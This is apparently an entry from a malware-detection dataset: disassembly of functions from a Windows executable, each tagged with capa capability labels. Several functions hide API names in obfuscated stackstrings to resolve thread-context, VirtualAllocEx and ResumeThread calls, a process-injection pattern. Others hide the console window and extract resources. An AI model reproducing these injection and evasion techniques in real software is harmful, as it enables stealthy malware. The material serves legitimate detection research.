joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ccf0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x5e8220]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x2d8], 0
push 0x2c8
push 0
lea eax, [ebp - 0x2d4]
push eax
call fcn.005539a0
add esp, 0xc
mov dword [ebp - 0x2d8], 0x10007
mov byte [ebp - 0x314], 0x47
mov byte [ebp - 0x313], 0x65
mov byte [ebp - 0x312], 0x74
mov byte [ebp - 0x311], 0x54
mov byte [ebp - 0x310], 0x68
mov byte [ebp - 0x30f], 0x72
mov byte [ebp - 0x30e], 0x65
mov byte [ebp - 0x30d], 0x61
mov byte [ebp - 0x30c], 0x64
mov byte [ebp - 0x30b], 0x43
mov byte [ebp - 0x30a], 0x6f
mov byte [ebp - 0x309], 0x6e
mov byte [ebp - 0x308], 0x74
mov byte [ebp - 0x307], 0x65
mov byte [ebp - 0x306], 0x78
mov byte [ebp - 0x305], 0x74
mov byte [ebp - 0x304], 0
lea ecx, [ebp - 0x314]
push ecx
push 0x589e30
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2dc], eax
lea edx, [ebp - 0x2d8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [ebp - 0x2dc]
test eax, eax
jne 0x40cde2
xor eax, eax
jmp 0x40cf21
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x220], edx
mov byte [ebp - 0x2f0], 0x53
mov byte [ebp - 0x2ef], 0x65
mov byte [ebp - 0x2ee], 0x74
mov byte [ebp - 0x2ed], 0x54
mov byte [ebp - 0x2ec], 0x68
mov byte [ebp - 0x2eb], 0x72
mov byte [ebp - 0x2ea], 0x65
mov byte [ebp - 0x2e9], 0x61
mov byte [ebp - 0x2e8], 0x64
mov byte [ebp - 0x2e7], 0x43
mov byte [ebp - 0x2e6], 0x6f
mov byte [ebp - 0x2e5], 0x6e
mov byte [ebp - 0x2e4], 0x74
mov byte [ebp - 0x2e3], 0x65
mov byte [ebp - 0x2e2], 0x78
mov byte [ebp - 0x2e1], 0x74
mov byte [ebp - 0x2e0], 0
lea eax, [ebp - 0x2f0]
push eax
push 0x589e4c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x318], eax
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 0x318]
test eax, eax
jne 0x40cea0
xor eax, eax
jmp 0x40cf21
mov byte [ebp - 0x300], 0x52
mov byte [ebp - 0x2ff], 0x65
mov byte [ebp - 0x2fe], 0x73
mov byte [ebp - 0x2fd], 0x75
mov byte [ebp - 0x2fc], 0x6d
mov byte [ebp - 0x2fb], 0x65
mov byte [ebp - 0x2fa], 0x54
mov byte [ebp - 0x2f9], 0x68
mov byte [ebp - 0x2f8], 0x72
mov byte [ebp - 0x2f7], 0x65
mov byte [ebp - 0x2f6], 0x61
mov byte [ebp - 0x2f5], 0x64
mov byte [ebp - 0x2f4], 0
lea ecx, [ebp - 0x300]
push ecx
push 0x589e68
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [ebp - 4]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00553425
mov esp, ebp
pop ebp
ret
Function at 0x40cf30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x5e8220]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x138], 0
push 0xfe
push 0
lea eax, [ebp - 0x137]
push eax
call fcn.005539a0
add esp, 0xc
mov byte [ebp - 0x18], 0x47
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x53
mov byte [ebp - 0x14], 0x79
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6d
mov byte [ebp - 0xf], 0x44
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x41
mov byte [ebp - 5], 0
lea ecx, [ebp - 0x18]
push ecx
push 0x589f04
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
push 0xff
lea edx, [ebp - 0x138]
push edx
call dword [ebp - 0x30]
mov byte [ebp - 0x135], 0
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x138]
push ecx
call fcn.0040cb80
add esp, 8
test eax, eax
jne 0x40cffd
xor eax, eax
jmp 0x40d09f
mov byte [ebp - 0x2c], 0x56
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x6c
mov byte [ebp - 0x25], 0x41
mov byte [ebp - 0x24], 0x6c
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x78
mov byte [ebp - 0x1e], 0
lea edx, [ebp - 0x2c]
push edx
push 0x589f20
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x40d08b
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call fcn.0040cc40
add esp, 0xc
test eax, eax
jne 0x40d08f
xor eax, eax
jmp 0x40d09f
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp + 0x10]
push edx
call fcn.0040ccf0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00553425
mov esp, ebp
pop ebp
ret
Function at 0x412250
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], 3
mov dword [ebp - 4], 4
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push str.Console
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4122ac
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0x58bc04
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0x14], 0xa
jbe 0x4123f0
push 0x7d0
push 0
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.005539a0
add esp, 0xc
lea ecx, [ebp - 0x14]
push ecx
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
lea edx, [ebp - 8]
push edx
push 0
push str.IpDate
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x1e
push ecx
push 0x58bc24
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
push 0
mov edx, dword [ebp + 8]
add edx, 0x21c
push edx
push 0x58bc2c
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, 0x258
push eax
push 0
push 0x58bc34
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x25c
push ecx
push 0x58bc3c
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
push 0
mov edx, dword [ebp + 8]
add edx, 0x45a
push edx
push 0x58bc44
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, 0x498
push eax
push 0
push 0x58bc4c
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
push 0
mov ecx, dword [ebp + 8]
add ecx, 0x49c
push ecx
push 0x58bc54
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
push 0
mov edx, dword [ebp + 8]
add edx, 0x69a
push edx
push 0x58bc5c
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
mov eax, dword [ebp + 8]
add eax, 0x6d8
push eax
push 0
push 0x58bc64
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj92.7_.4202:zb0.1:bb
call fcn.004120a0
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x412990
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.00412400
push 0
push 0
push 0
push 0x412760
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4237d6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x42381d
call fcn.00450f32
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x42381d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x423839
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004232d6
mov esi, eax
test edi, edi
je 0x423837
test ebx, ebx
je 0x423837
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x425977
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x581918
call fcn.0055619d
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x42599c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x4259ee
call fcn.0045aaec
push eax
lea ecx, [ebp - 0x10]
call fcn.0040b310
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.005562a7
push eax
call fcn.0040ea70
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004083a0
mov eax, esi
call fcn.00556275
ret 8

Function at 0x42e45f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x42e479
call fcn.00450f32
mov esi, dword [eax + 0xc]
push dword [0x5eda74]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x42e497
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x42e48f
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x42e4c4
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x42e491
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0042e38d
mov esi, eax
jmp 0x42e4b6
Function at 0x4a7f45
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4a7f8d
call fcn.00450f32
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4a7f8d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4a7fd0
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4a7fb9
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4a7fb9
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x4a7fcd
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4a98c5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00450f32
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4a98fe
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.004a9502
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x4a995c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x4a9980
cmp dword [edi + 0x74], 0
jne 0x4a9980
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00450f32
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004a991d
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4afbcc
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x57c504
call fcn.0055619d
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00411cd0
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4afc2e
call fcn.004507f5
cmp eax, 1
jne 0x4afc2e
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.004731a7
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00419d92
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004083a0
mov dword [ebp + 8], SysReAllocString
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004083a0
mov eax, esi
call fcn.00556275
ret 0x10

Function at 0x4afc57
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x57c504
call fcn.0055619d
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00411cd0
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4afcb9
call fcn.004507f5
cmp eax, 1
jne 0x4afcb9
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.004731a7
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00419d92
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.004083a0
mov dword [ebp + 8], SysReAllocString
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004083a0
mov eax, esi
call fcn.00556275
ret 0x14

Function at 0x4c4cc5
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x4c4d03
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4c4d11
push str.MoveFileTransactedW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4c4d11
push dword [esi]
push 2
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x4c4d13
cmp dword [esi + 4], 0
je 0x4c4d11
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_MoveFileW]
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x502edc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x502ef4
mov edi, dword [esi + 0xc]
jmp 0x502f34
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x502f0d
call fcn.0044e910
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x502f22
call fcn.0044e910
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x502f34
call fcn.0044e910
call fcn.00450f32
cmp dword [eax + 0x3c], 0
je 0x502f49
push edi
mov ecx, ebx
call fcn.00501d90
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.00502df6
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x502f67
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x502f73
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x51f8c1
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0051f565
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x51f90b
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004218a2
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0041c1b8
jmp 0x51f916
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.004b5f73
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x51f91c
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.00425220
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x51f959
call fcn.0051f565
mov dword [esi + 0xc], 1
jmp 0x51f95e
call fcn.0051f565
cmp dword [esi], 0
je 0x51f9a7
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x51f97f
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004218a2
jmp 0x51f991
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.0040b4e0
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0041c1b8
jmp 0x51f9cb
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x51f9cb
push dword [esi]
push dword [ebp + 8]
call fcn.004b5f73
pop esi
pop ebp
ret 0xc
Function at 0x534c30
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0054f55b
call fcn.00450963
cmp dword [eax + 0x14], 0
jne 0x534c4d
mov ecx, esi
pop esi
jmp fcn.00534735
pop esi
ret

Function at 0x537d3c
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0049608a
call fcn.00450963
cmp dword [eax + 0x14], 0
jne 0x537d59
mov ecx, esi
pop esi
jmp fcn.0053770f
pop esi
ret

Function at 0x553425
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5e8220]
jne 0x55342f
repz ret
jmp fcn.0055ab1c

Function at 0x566fd7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5e8220]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0055a518
and dword [ebp - 0x14], 0
cmp dword [0x5f23b0], 0
mov dword [ebp - 0x18], eax
jne 0x56708a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x567132
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x5bcb8c
push ebx
call edi
test eax, eax
je 0x567132
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x5bcb7c
push ebx
mov dword [0x5f23b0], eax
call edi
push eax
call esi
push 0x5bcb68
push ebx
mov dword [0x5f23b4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5f23b8], eax
call edi
push eax
call esi
mov dword [0x5f23c0], eax
test eax, eax
je 0x56708a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5f23bc], eax
mov eax, dword [0x5f23bc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x5670e3
cmp dword [0x5f23c0], ecx
je 0x5670e3
push eax
call esi
push dword [0x5f23c0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x5670e3
test ebx, ebx
je 0x5670e3
call edi
test eax, eax
je 0x5670da
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x5670da
test byte [ebp - 8], 1
jne 0x5670e3
or dword [ebp + 0x10], 0x200000
jmp 0x567116
mov eax, dword [0x5f23b4]
cmp eax, dword [ebp - 0x18]
je 0x567116
push eax
call esi
test eax, eax
je 0x567116
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x567116
mov eax, dword [0x5f23b8]
cmp eax, dword [ebp - 0x18]
je 0x567116
push eax
call esi
test eax, eax
je 0x567116
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5f23b0]
call esi
test eax, eax
je 0x567132
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x567134
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00553425
leave
ret
Function at 0x56ec9c
Capabilities:
Write file on windows

Disassembly:
push 0x24
mov eax, 0x584733
call fcn.00556206
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x56ed93
cmp byte [esi + 0x4a], bl
je 0x56ed93
mov eax, dword [esi]
mov edi, 0xffff
push edi
call dword [eax + 0xc]
movzx eax, ax
cmp di, ax
jne 0x56ecd8
xor al, al
jmp 0x56ed95
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.0056ea62
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x56ed36
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
mov ebx, dword [ebp - 0x1c]
add eax, ebx
push eax
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x56ed3b
dec eax
je 0x56ed3f
dec eax
dec eax
je 0x56ed8f
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.004146d0
mov al, bl
jmp 0x56ed95
mov edx, dword [ebp - 0x2c]
jmp 0x56ed01
mov byte [esi + 0x4a], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x56ed4b
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
sub edi, eax
je 0x56ed71
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x56ed5e
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.005593b0
add esp, 0x10
cmp edi, eax
jne 0x56ed24
cmp byte [esi + 0x4a], 0
je 0x56ed8f
test edi, edi
jne 0x56ecf3
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.004132f0
jmp 0x56ecf3
mov bl, 1
jmp 0x56ed26
mov al, 1
call fcn.00556289
ret